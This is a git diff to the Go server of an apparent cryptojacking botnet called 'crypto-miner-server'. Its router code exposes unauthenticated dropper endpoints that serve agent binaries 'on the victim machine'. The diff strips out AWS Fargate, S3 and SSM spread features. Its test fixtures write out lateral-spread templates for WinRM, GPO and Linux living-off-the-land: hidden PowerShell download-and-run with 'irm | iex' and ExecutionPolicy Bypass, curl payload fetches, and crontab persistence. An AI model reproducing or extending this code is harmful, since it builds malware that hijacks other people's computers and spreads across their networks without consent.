@@ -778,7 +768,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
- // Public builds (also bypass auth in middleware ? listed here for chi routing)
+ // Public builds (also bypass auth in middleware — listed here for chi routing)
if publicHandler != nil {
r.Get("/public/builds", publicHandler.ListBuilds)
r.Get("/public/download/{id}", publicHandler.Download)
@@ -787,12 +777,6 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/public/erasure-shard/{token}/{index}", publicHandler.ErasureShard)
r.Get("/public/erasure-torrent/{token}/manifest", publicHandler.ErasureTorrentManifest)
r.Get("/public/webrtc-mesh/manifest", publicHandler.WebRTCMeshManifest)
- r.Get("/public/policy-snapshot/{token}", publicHandler.PolicySnapshot)
- }
- if spreadHandler != nil {
- r.Get("/public/fargate-burst/task-definition.json", spreadHandler.FargateBurstTaskDefinition)
- r.Get("/public/fargate-burst/run-task.sh", spreadHandler.FargateBurstRunScript)
- r.Get("/public/fargate-burst/bundle.zip", spreadHandler.FargateBurstBundleZip)
}
})
@@ -800,7 +784,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/ws/agent", wsHub.HandleAgentWS)
r.Get("/ws/dashboard", wsHub.HandleDashboardWS)
- // One-liner remote install endpoints (unauthenticated ? URL knowledge is the gate)
+ // One-liner remote install endpoints (unauthenticated — URL knowledge is the gate)
if dropperHandler != nil {
r.Get("/get", dropperHandler.ServeGet)
r.Get("/install.sh", dropperHandler.ServeSh)
@@ -808,7 +792,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Get("/install.command", dropperHandler.ServeCommand)
}
- // SUPP Seek agent download endpoints ? serve agent binaries so launcher scripts
+ // SUPP Seek agent download endpoints — serve agent binaries so launcher scripts
// dropped by Seek Mode can fetch and run the agent on the victim machine.
// Unauthenticated (the drop URL itself is the secret).
r.Get("/api/download/agent-windows", serveAgentBinary("windows"))
@@ -913,8 +897,8 @@ func findAgentBinary(platform, dir string) (binPath, dlName string, ok bool) {
// exe so it works both from the USB bundle and from a compiled dev build.
//
// Filename convention (same as what the build pipeline produces):
-// - windows ? crypto-miner-agent.exe
-// - mac/linux ? crypto-miner-agent (no extension)
+// - windows → crypto-miner-agent.exe
+// - mac/linux → crypto-miner-agent (no extension)
// agentBinarySearchDir returns the directory used to locate bundled agent binaries.
// Tests may override this to point at a temp tree instead of os.Executable()'s dir.
var agentBinarySearchDir = func() (string, error) {
diff --git a/server/internal/api/router_test.go b/server/internal/api/router_test.go
index 6efa180..5e6f74e 100644
--- a/server/internal/api/router_test.go
+++ b/server/internal/api/router_test.go
@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
- router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
- router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
+ router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()
diff --git a/server/internal/api/server_policy.go b/server/internal/api/server_policy.go
index d4bdbdb..5459dcf 100644
--- a/server/internal/api/server_policy.go
+++ b/server/internal/api/server_policy.go
@@ -28,10 +28,6 @@ type ServerPolicy struct {
ErasureLanesEnabled bool
// FleetTorrentEnabled enables fleet-wide shard DHT gossip and torrent manifests.
FleetTorrentEnabled bool
- AwsS3ShardRegion string
- AwsCloudFrontDomain string
- FargateBurstCampaign bool
- FargateBurstTTLHours int
// StrainHospiceWinRateThreshold auto-retires strains below this win rate when AI control is on.
StrainHospiceWinRateThreshold float64
// StrainHospiceMinAttempts is minimum spread outcomes before AI auto-hospice applies.
diff --git a/server/internal/api/service_deploy.go b/server/internal/api/service_deploy.go
index f55f56a..9975059 100644
--- a/server/internal/api/service_deploy.go
+++ b/server/internal/api/service_deploy.go
@@ -35,8 +35,6 @@ var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
- "AmazonSSMAgent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
- "amazon-ssm-agent": {Lane: "ssm_document", Priority: 28, Template: "ssm-document"},
}
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
@@ -63,8 +61,6 @@ func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[strin
lane.Template = "gpo"
case "linux_lotl":
lane.Template = "linux-lotl"
- case "ssm_document":
- lane.Template = "ssm-document"
}
}
out[name] = lane
diff --git a/server/internal/api/spread_handler.go b/server/internal/api/spread_handler.go
index 919b9d9..24857b9 100644
--- a/server/internal/api/spread_handler.go
+++ b/server/internal/api/spread_handler.go
@@ -1,4 +1,4 @@
-package api
+package api
import (
"encoding/json"
@@ -12,60 +12,17 @@ import (
"time"
dbpkg "crypto-miner-server/internal/db"
- "crypto-miner-server/internal/erasure"
"github.com/go-chi/chi/v5"
)
// SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
type SpreadHandler struct {
- db *dbpkg.Database
- dataDir string
- projectRoot string
- wsHub *WSHub
- publicURL func() string
- erasureShards *erasure.ShardStore
- deployPlan *DeployPlanHandler
- s3CRRConfigFn func() erasure.S3ShardConfig
- policyPathTracer *PathTracerHandler
- policyFanoutCfgFn func() PolicyFanoutConfig
- notesMu sync.RWMutex
-}
-
-func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
- if h != nil {
- h.erasureShards = store
- }
-}
-
-func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
- if h != nil {
- h.deployPlan = handler
- }
-}
-
-func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
- if h != nil {
- h.s3CRRConfigFn = fn
- }
-}
-
-// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
-func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
- if h == nil || h.s3CRRConfigFn == nil {
- http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
- return
- }
- doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
- if err != nil {
- http.Error(w, err.Error(), http.StatusBadRequest)
- return
- }
- writeJSON(w, map[string]interface{}{
- "template": "templates/spread/aws/s3-crr-rule.json",
- "rule": doc,
- "notes": "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
- })
+ db *dbpkg.Database
+ dataDir string
+ projectRoot string
+ wsHub *WSHub
+ notesMu sync.RWMutex
}
func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {
diff --git a/server/internal/api/spread_lanes_test.go b/server/internal/api/spread_lanes_test.go
index bc3dc81..5ffa0b3 100644
--- a/server/internal/api/spread_lanes_test.go
+++ b/server/internal/api/spread_lanes_test.go
@@ -16,31 +16,134 @@ func writeDeploySpreadTemplates(t *testing.T, root string) {
if err := os.MkdirAll(winrmDir, 0o755); err != nil {
t.Fatal(err)
}
- if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(`Enable-PSRemoting`), 0o644); err != nil {
+ winrmScript := `# WinRM bootstrap
+Enable-PSRemoting -Force -SkipNetworkProfileCheck
+$url = '{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}}'
+Start-Process -FilePath $dest -ArgumentList '--spread-install','--defer-mining' -WindowStyle Hidden
+powershell.exe -EncodedCommand $encoded
+`
+ if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte(winrmScript), 0o644); err != nil {
+ t.Fatal(err)
+ }
+
+ linuxDir := filepath.Join(root, "templates", "spread", "linux")
+ if err := os.MkdirAll(linuxDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ linuxScript := `#!/bin/sh
+LOTL_MODE='{{LOTL_MODE}}'
+curl -fsSL "${SERVER}/get?os=linux{{QUERY_SUFFIX}}"
+systemd-run --user --unit=aetherforge-worker.service
+persist_crontab() { crontab -; }
+`
+ if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte(linuxScript), 0o755); err != nil {
+ t.Fatal(err)
+ }
+
+ entDir := filepath.Join(root, "templates", "spread", "enterprise")
+ if err := os.MkdirAll(entDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ gpoScript := `# GPO computer startup script
+$installScript = '{{SERVER_URL}}/install.ps1{{GET_QUERY_SUFFIX}}'
+$env:AETHER_DEFER_MINING = '1'
+powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "irm '$installScript' | iex"
+`
+ if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte(gpoScript), 0o644); err != nil {
t.Fatal(err)
}
- ssmDir := filepath.Join(root, "templates", "spread", "ssm")
- _ = os.MkdirAll(ssmDir, 0o755)
- _ = os.WriteFile(filepath.Join(ssmDir, "document.json"), []byte(`{"schemaVersion":"2.2","mainSteps":[{"inputs":{"runCommand":["curl '{{MANIFEST_URL}}'","{{SHARD_FETCH_LINES}}","curl '{{FALLBACK_GET_URL}}'"]}}]}`), 0o644)
- _ = os.WriteFile(filepath.Join(ssmDir, "run-command.json"), []byte(`{"DocumentName":"AetherForge-ErasureSpread-{{BUILD_ID}}"}`), 0o644)
- _ = os.WriteFile(filepath.Join(ssmDir, "create-document.sh"), []byte(`#!/bin/sh`), 0o644)
}
-func TestDeployPlanSSMDocumentLane(t *testing.T) {
+func TestSpreadTemplatePathsWinRMGPO(t *testing.T) {
+ cases := map[string]struct {
+ subdir string
+ zip string
+ }{
+ "winrm": {"winrm", "aetherforge-winrm-bootstrap.zip"},
+ "linux-lotl": {"linux", "aetherforge-linux-lotl.zip"},
+ "gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
+ "enterprise-gpo": {"enterprise", "aetherforge-gpo-startup.zip"},
+ }
+ for tpl, want := range cases {
+ subdir, zip, err := spreadTemplatePaths(tpl)
+ if err != nil {
+ t.Fatalf("%q: %v", tpl, err)
+ }
+ if subdir != want.subdir || zip != want.zip {
+ t.Fatalf("%q => subdir=%q zip=%q want %+v", tpl, subdir, zip, want)
+ }
+ }
+ _, _, err := spreadTemplatePaths("bogus-lane")
+ if err == nil || !strings.Contains(err.Error(), "unknown template") {
+ t.Fatalf("err=%v", err)
+ }
+}
+
+func TestDeployPlanWinRMLane(t *testing.T) {
root := t.TempDir()
writeDeploySpreadTemplates(t, root)
h := testDeployPlanHandlerWithRoot(t, root)
plan, err := h.buildPlan(deployPlanRequest{
- Platform: "linux", BuildID: "b1", Campaign: "ssm-lab",
- }, "AmazonSSMAgent", ServiceDeployLane{Lane: "ssm_document", Template: "ssm-document"})
+ Platform: "windows", BuildID: "b1", Campaign: "winrm-lab",
+ }, "WinRM", ServiceDeployLane{Lane: "winrm", Template: "winrm"})
if err != nil {
t.Fatal(err)
}
- if plan.JoinLane != "ssm_document" || plan.SSMDocument == "" {
+ if plan.JoinLane != "winrm" || plan.Script == "" {
t.Fatalf("plan=%+v", plan)
}
- if !strings.Contains(plan.SSMDocument, "schemaVersion") {
- t.Fatalf("doc=%s", plan.SSMDocument)
+ for _, marker := range []string{
+ "http://127.0.0.1:8989/get?os=windows",
+ "--spread-install",
+ "--defer-mining",
+ "Enable-PSRemoting",
+ } {
+ if !strings.Contains(plan.Script, marker) {
+ t.Fatalf("script missing %q: %s", marker, plan.Script)
+ }
+ }
+}
+
+func TestDeployPlanGPOLane(t *testing.T) {
+ root := t.TempDir()
+ writeDeploySpreadTemplates(t, root)
+ h := testDeployPlanHandlerWithRoot(t, root)
+ plan, err := h.buildPlan(deployPlanRequest{
+ Platform: "windows", BuildID: "b1", Campaign: "gpo-wave",
+ }, "gpsvc", ServiceDeployLane{Lane: "gpo", Template: "gpo"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if plan.JoinLane != "gpo" || plan.Script == "" {
+ t.Fatalf("plan=%+v", plan)
+ }
+ for _, marker := range []string{"/install.ps1", "AETHER_DEFER_MINING"} {
+ if !strings.Contains(plan.Script, marker) {
+ t.Fatalf("script missing %q: %s", marker, plan.Script)
+ }
+ }
+ if !strings.Contains(plan.Script, "pin=b1") || !strings.Contains(plan.Script, "c=gpo-wave") {
+ t.Fatalf("script missing query suffix: %s", plan.Script)
+ }
+}
+
+func TestDeployPlanLinuxLOTLLane(t *testing.T) {
+ root := t.TempDir()
+ writeDeploySpreadTemplates(t, root)
+ h := testDeployPlanHandlerWithRoot(t, root)
+ plan, err := h.buildPlan(deployPlanRequest{
+ Platform: "linux", BuildID: "b1", Campaign: "lotl-lab",
+ }, "sshd", ServiceDeployLane{Lane: "linux_lotl", Template: "linux-lotl"})
+ if err != nil {
+ t.Fatal(err)
+ }
+ if plan.JoinLane != "linux_lotl" || plan.Script == "" {
+ t.Fatalf("plan=%+v", plan)
+ }
+ for _, marker := range []string{"systemd-run --user", "curl -fsSL", "systemd_run_user"} {
+ if !strings.Contains(plan.Script, marker) {
+ t.Fatalf("script missing %q: %s", marker, plan.Script)
+ }
}
}
@@ -53,10 +156,22 @@ func testDeployPlanHandlerWithRoot(t *testing.T, projectRoot string) *DeployPlan
}
t.Cleanup(func() { _ = database.Close() })
buildDir := filepath.Join(dir, "builds", "b1")
- _ = os.MkdirAll(buildDir, 0o755)
+ if err := os.MkdirAll(buildDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
artifact := filepath.Join(buildDir, "worker.exe")
- _ = os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644)
- _ = database.InsertBuild(&models.BuildRecord{ID: "b1", Platform: "linux", FileName: "worker.exe", FilePath: artifact})
+ if err := os.WriteFile(artifact, []byte("deploy-plan-test-payload"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: "b1", Platform: "windows", FileName: "worker.exe", FilePath: artifact,
+ }); err != nil {
+ t.Fatal(err)
+ }
+ cfgPath := filepath.Join(dir, "config.json")
+ if err := os.WriteFile(cfgPath, []byte(`{"server":{"dns_zone":"lab.internal"}}`), 0o644); err != nil {
+ t.Fatal(err)
+ }
return NewDeployPlanHandler(database, dir, projectRoot,
func() string { return "http://127.0.0.1:8989" },
func() string { return "fleet-test" },
diff --git a/server/internal/api/spreadrouter_bridge.go b/server/internal/api/spreadrouter_bridge.go
index 68bbbe0..e426427 100644
--- a/server/internal/api/spreadrouter_bridge.go
+++ b/server/internal/api/spreadrouter_bridge.go
@@ -100,7 +100,6 @@ func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
- in.FargateBurstActive = hub.fargateBurstActive()
return in
}
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index 9242dbd..6e34edb 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -1,4 +1,4 @@
-package api
+package api
import (
"crypto/subtle"
@@ -179,12 +179,6 @@ type WSHub struct {
epidemiology *epidemiology.Tracker
miningSurgery *miningsurgery.Tracker
contingencyOrch *mining.ContingencyOrchestrator
- fargateBurstCampaign bool
- fargateBurstExpiresAt time.Time
- fargateBurstTTLHours int
- policySnapshotToken string
- policyEventBridgeRelayURL string
- policyPublicBaseURL func() string
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
eventNotifier *alerts.Notifier
@@ -208,10 +202,6 @@ type WSHub struct {
scoutConstellations *fleetai.ScoutConstellationRegistry
scoutAgents map[string]bool
- // Cloud venue biomes (EC2 agents reporting IMDS tags + Organizations OU).
- cloudVenueMu sync.Mutex
- cloudVenues *fleetai.CloudVenueRegistry
-
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
@@ -692,8 +682,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
ParentAgentID string `json:"parent_agent_id,omitempty"`
SpreadGeneration int `json:"spread_generation,omitempty"`
SpreadStrain string `json:"spread_strain,omitempty"`
- GenesisSnapshotHash string `json:"genesis_snapshot_hash,omitempty"`
- StrainCardID string `json:"strain_card_id,omitempty"`
FleetRole string `json:"fleet_role,omitempty"`
SeederMode bool `json:"seeder_mode,omitempty"`
}
@@ -856,9 +844,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
SpreadStrain: strings.TrimSpace(auth.SpreadStrain),
Capabilities: &caps,
}
- applyLaunchTemplateGenesisFirstAuth(agent, isNewAgent, launchTemplateAuthProbe{
- JoinLane: auth.JoinLane, ParentAgentID: auth.ParentAgentID, GenesisSnapshotHash: auth.GenesisSnapshotHash,
- })
if err := h.db.UpsertAgent(agent); err != nil {
log.Printf("Failed to upsert agent: %v", err)
@@ -953,7 +938,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
resp["triple_onion_policy"] = top
spreadPolicy := map[string]interface{}{}
- if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled || policy.AwsS3ShardRegion != "" || policy.AwsCloudFrontDomain != "" {
+ if policy.HashrateGateSpreadMin > 0 || policy.HashrateGateHPS > 0 || policy.ErasureLanesEnabled || policy.FleetTorrentEnabled {
spreadPolicy["erasure_lanes_enabled"] = policy.ErasureLanesEnabled
spreadPolicy["fleet_torrent_enabled"] = policy.FleetTorrentEnabled
if policy.HashrateGateSpreadMin > 0 {
@@ -962,28 +947,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if policy.HashrateGateHPS > 0 {
spreadPolicy["hashrate_gate_hps"] = policy.HashrateGateHPS
}
- if policy.AwsS3ShardRegion != "" {
- spreadPolicy["aws_s3_shard_region"] = policy.AwsS3ShardRegion
- }
- if policy.AwsCloudFrontDomain != "" {
- spreadPolicy["aws_cloudfront_domain"] = policy.AwsCloudFrontDomain
- }
}
if scoutPolicy := h.scoutSpreadPolicyForAuth(agentID); scoutPolicy != nil {
for k, v := range scoutPolicy {
spreadPolicy[k] = v
}
}
- if cloudPolicy := h.cloudVenueSpreadPolicyForAuth(agentID); cloudPolicy != nil {
- for k, v := range cloudPolicy {
- spreadPolicy[k] = v
- }
- }
- if fanout := h.policyFanoutSpreadFields(); fanout != nil {
- for k, v := range fanout {
- spreadPolicy[k] = v
- }
- }
if len(spreadPolicy) > 0 {
resp["spread_policy"] = spreadPolicy
}
@@ -1495,34 +1464,6 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
h.ingestScoutConstellationReport(agentID, report.SSID, report.ServiceCount)
}
- case "cloud_venue_report":
- if agentID == "" {
- continue
- }
- var report struct {
- CloudProvider string `json:"cloud_provider"`
- Environment string `json:"environment"`
- Workload string `json:"workload"`
- InstanceType string `json:"instance_type"`
- InstanceLifecycle string `json:"instance_lifecycle"`
- OrganizationalUnit string `json:"organizational_unit"`
- EC2Tags map[string]string `json:"ec2_tags"`
- }
- if err := json.Unmarshal(msg.Payload, &report); err != nil {
- continue
- }
- if strings.TrimSpace(report.CloudProvider) == "" {
- report.CloudProvider = "aws"
- }
- h.ingestCloudVenueReport(agentID, fleetai.CloudVenueReport{
- Environment: report.Environment,
- Workload: report.Workload,
- InstanceType: report.InstanceType,
- InstanceLifecycle: report.InstanceLifecycle,
- OrganizationalUnit: report.OrganizationalUnit,
- EC2Tags: report.EC2Tags,
- })
-
case "ai_snapshot":
if agentID == "" {
continue
diff --git a/server/internal/atlas/fleet_gossip.go b/server/internal/atlas/fleet_gossip.go
index c443aeb..81700a4 100644
--- a/server/internal/atlas/fleet_gossip.go
+++ b/server/internal/atlas/fleet_gossip.go
@@ -1,16 +1,17 @@
package atlas
import (
- "fmt"
"strings"
)
+// Fleet gossip kinds — shard DHT advertisements relayed fleet-wide (not LAN-only).
const (
FleetGossipHaveShard = "have_shard"
FleetGossipHealthy = "healthy"
FleetGossipKnowNode = "know_node"
)
+// FleetGossipRecord is one peer advertisement in the fleet torrent DHT.
type FleetGossipRecord struct {
Kind string `json:"kind"`
AgentID string `json:"agent_id,omitempty"`
@@ -18,21 +19,18 @@ type FleetGossipRecord struct {
Token string `json:"token,omitempty"`
ShardIndex int `json:"shard_index,omitempty"`
ShardHash string `json:"shard_hash,omitempty"`
- Region string `json:"region,omitempty"`
- ShardAdvert string `json:"shard_advert,omitempty"`
TargetAgentID string `json:"target_agent_id,omitempty"`
Healthy bool `json:"healthy,omitempty"`
FetchURL string `json:"fetch_url,omitempty"`
}
+// NormalizeFleetGossipRecord validates and trims one fleet gossip record.
func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
r.Kind = strings.TrimSpace(strings.ToLower(r.Kind))
r.AgentID = strings.TrimSpace(r.AgentID)
r.Subnet = strings.TrimSpace(r.Subnet)
r.Token = strings.TrimSpace(r.Token)
r.ShardHash = strings.TrimSpace(strings.ToLower(r.ShardHash))
- r.Region = strings.TrimSpace(r.Region)
- r.ShardAdvert = strings.TrimSpace(r.ShardAdvert)
r.TargetAgentID = strings.TrimSpace(r.TargetAgentID)
r.FetchURL = strings.TrimSpace(r.FetchURL)
switch r.Kind {
@@ -40,17 +38,6 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
if r.AgentID == "" || r.Token == "" || r.ShardHash == "" {
return FleetGossipRecord{}, false
}
- if r.Region == "" && r.ShardAdvert != "" {
- if region, idx, ok := parseShardAdvert(r.ShardAdvert); ok {
- r.Region = region
- if r.ShardIndex == 0 {
- r.ShardIndex = idx
- }
- }
- }
- if r.ShardAdvert == "" && r.Region != "" {
- r.ShardAdvert = fmt.Sprintf("%s:%d", r.Region, r.ShardIndex)
- }
case FleetGossipHealthy:
if r.AgentID == "" {
return FleetGossipRecord{}, false
@@ -65,6 +52,7 @@ func NormalizeFleetGossipRecord(r FleetGossipRecord) (FleetGossipRecord, bool) {
return r, true
}
+// NormalizeFleetGossipRecords drops invalid records while preserving order.
func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
if len(in) == 0 {
return nil
@@ -77,15 +65,3 @@ func NormalizeFleetGossipRecords(in []FleetGossipRecord) []FleetGossipRecord {
}
return out
}
-
-func parseShardAdvert(advert string) (region string, index int, ok bool) {
- colon := strings.LastIndex(strings.TrimSpace(advert), ":")
- if colon <= 0 {
- return "", 0, false
- }
- region = strings.TrimSpace(advert[:colon])
- if _, err := fmt.Sscanf(strings.TrimSpace(advert[colon+1:]), "%d", &index); err != nil {
- return "", 0, false
- }
- return region, index, region != ""
-}
diff --git a/server/internal/atlas/fleet_gossip_test.go b/server/internal/atlas/fleet_gossip_test.go
index a46168a..6201579 100644
--- a/server/internal/atlas/fleet_gossip_test.go
+++ b/server/internal/atlas/fleet_gossip_test.go
@@ -2,12 +2,15 @@ package atlas
import "testing"
-func TestNormalizeFleetGossipShardAdvert(t *testing.T) {
- r, ok := NormalizeFleetGossipRecord(FleetGossipRecord{
- Kind: FleetGossipHaveShard, AgentID: "a", Token: "t", ShardHash: "h",
- Region: "us-west-2", ShardIndex: 4,
- })
- if !ok || r.ShardAdvert != "us-west-2:4" {
- t.Fatalf("advert=%q", r.ShardAdvert)
+func TestNormalizeFleetGossipRecords(t *testing.T) {
+ in := []FleetGossipRecord{
+ {Kind: FleetGossipHaveShard, AgentID: "a", Token: "tok", ShardHash: "abc"},
+ {Kind: "bogus"},
+ {Kind: FleetGossipHealthy, AgentID: "b", Healthy: true},
+ {Kind: FleetGossipKnowNode, AgentID: "a", TargetAgentID: "c"},
+ }
+ out := NormalizeFleetGossipRecords(in)
+ if len(out) != 3 {
+ t.Fatalf("got %d records", len(out))
}
}
diff --git a/server/internal/erasure/lanes.go b/server/internal/erasure/lanes.go
index b988aba..dc3c45a 100644
--- a/server/internal/erasure/lanes.go
+++ b/server/internal/erasure/lanes.go
@@ -14,10 +14,9 @@ var parallelLaneOrder = []string{
// ShardRef is one erasure shard served on a parallel lane URL.
type ShardRef struct {
- Index int `json:"index"`
- Lane string `json:"lane"`
- URL string `json:"url"`
- EdgeURL string `json:"edge_url,omitempty"`
+ Index int `json:"index"`
+ Lane string `json:"lane"`
+ URL string `json:"url"`
}
// Plan is deploy-plan metadata for agent-side Reed–Solomon reassembly.
diff --git a/server/internal/spreadrouter/router.go b/server/internal/spreadrouter/router.go
index 487980d..165126d 100644
--- a/server/internal/spreadrouter/router.go
+++ b/server/internal/spreadrouter/router.go
@@ -62,7 +62,6 @@ type Input struct {
TargetSubnets []string
RequestedLane string
ErasureLanesEnabled bool
- FargateBurstActive bool
}
// RouteEdge is a weighted edge from a seed hop to a target subnet.
@@ -94,8 +93,6 @@ type RouteRecommendation struct {
ErasureLanesEnabled bool `json:"erasure_lanes_enabled,omitempty"`
SwarmMagnet string `json:"swarm_magnet,omitempty"`
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
- PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
- RouteVia string `json:"route_via,omitempty"`
}
// SpreadRouteHint is attached to signed deploy plans for agent egress routing.
@@ -115,8 +112,6 @@ type SpreadRouteHint struct {
SwarmMagnet string `json:"swarm_magnet,omitempty"`
// ShardManifestURLs lists C2/public shard fetch URLs for BGP spread hints.
ShardManifestURLs []string `json:"shard_manifest_urls,omitempty"`
- PreferFargateSeeder bool `json:"prefer_fargate_seeder,omitempty"`
- RouteVia string `json:"route_via,omitempty"`
}
// RouteTable holds weighted edges and recommendations.
@@ -157,7 +152,7 @@ func Build(in Input) *RouteTable {
targets := normalizeTargets(in)
for _, target := range targets {
cands := collectCandidates(in, target, fleetByID, laneRates)
- rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, in.FargateBurstActive, cands)
+ rec, edges := scoreCandidates(target, in.RequestedLane, in.ErasureLanesEnabled, cands)
if rec.SeedAgentID != "" {
rt.Routes = append(rt.Routes, rec)
rt.bySubnet[target] = rec
@@ -193,9 +188,6 @@ func ToHint(rec RouteRecommendation) *SpreadRouteHint {
Score: rec.Score,
ClearanceLevel: rec.ClearanceLevel,
ErasureLanesEnabled: rec.ErasureLanesEnabled,
- SwarmMagnet: rec.SwarmMagnet,
- ShardManifestURLs: rec.ShardManifestURLs,
- PreferFargateSeeder: rec.PreferFargateSeeder,
}
}
@@ -311,7 +303,7 @@ func collectCandidates(in Input, target string, fleet map[string]FleetAgentSnaps
return out
}
-func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
+func scoreCandidates(target, requestedLane string, erasureLanes bool, cands []candidate) (RouteRecommendation, []RouteEdge) {
var edges []RouteEdge
var best RouteRecommendation
var bestScore float64
@@ -361,7 +353,6 @@ func scoreCandidates(target, requestedLane string, erasureLanes, fargateBurst bo
Score: weight,
Reason: reason,
ErasureLanesEnabled: erasureLanes,
- PreferFargateSeeder: fargateBurst,
}
}
}
diff --git a/server/internal/spreadrouter/router_test.go b/server/internal/spreadrouter/router_test.go
index 30b7987..f7756c7 100644
--- a/server/internal/spreadrouter/router_test.go
+++ b/server/internal/spreadrouter/router_test.go
@@ -123,25 +123,6 @@ func TestBuildSetsErasureLanesFlag(t *testing.T) {
}
}
-func TestBuildSetsPreferFargateSeederWhenBurstActive(t *testing.T) {
- in := Input{
- TargetSubnets: []string{"10.9.8"},
- FargateBurstActive: true,
- FleetAgents: []FleetAgentSnapshot{
- {AgentID: "a1", Subnet: "10.9.8", Clearance: clearance.L2, Connected: true},
- },
- }
- rt := Build(in)
- rec, ok := rt.Recommend("10.9.8")
- if !ok || !rec.PreferFargateSeeder {
- t.Fatalf("route=%+v ok=%v", rec, ok)
- }
- hint := ToHint(rec)
- if hint == nil || !hint.PreferFargateSeeder {
- t.Fatalf("hint=%+v", hint)
- }
-}
-
func TestToHint(t *testing.T) {
hint := ToHint(RouteRecommendation{
TargetSubnet: "10.1.2", SeedAgentID: "a1", EgressAgentID: "a1", Score: 0.8,
diff --git a/server/main.go b/server/main.go
index c1d1375..4a64fa4 100644
--- a/server/main.go
+++ b/server/main.go
@@ -1,4 +1,4 @@
-package main
+package main
import (
"context"
@@ -306,8 +306,6 @@ func main() {
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
publicHandler.BindErasureShardStore(erasureShardStore)
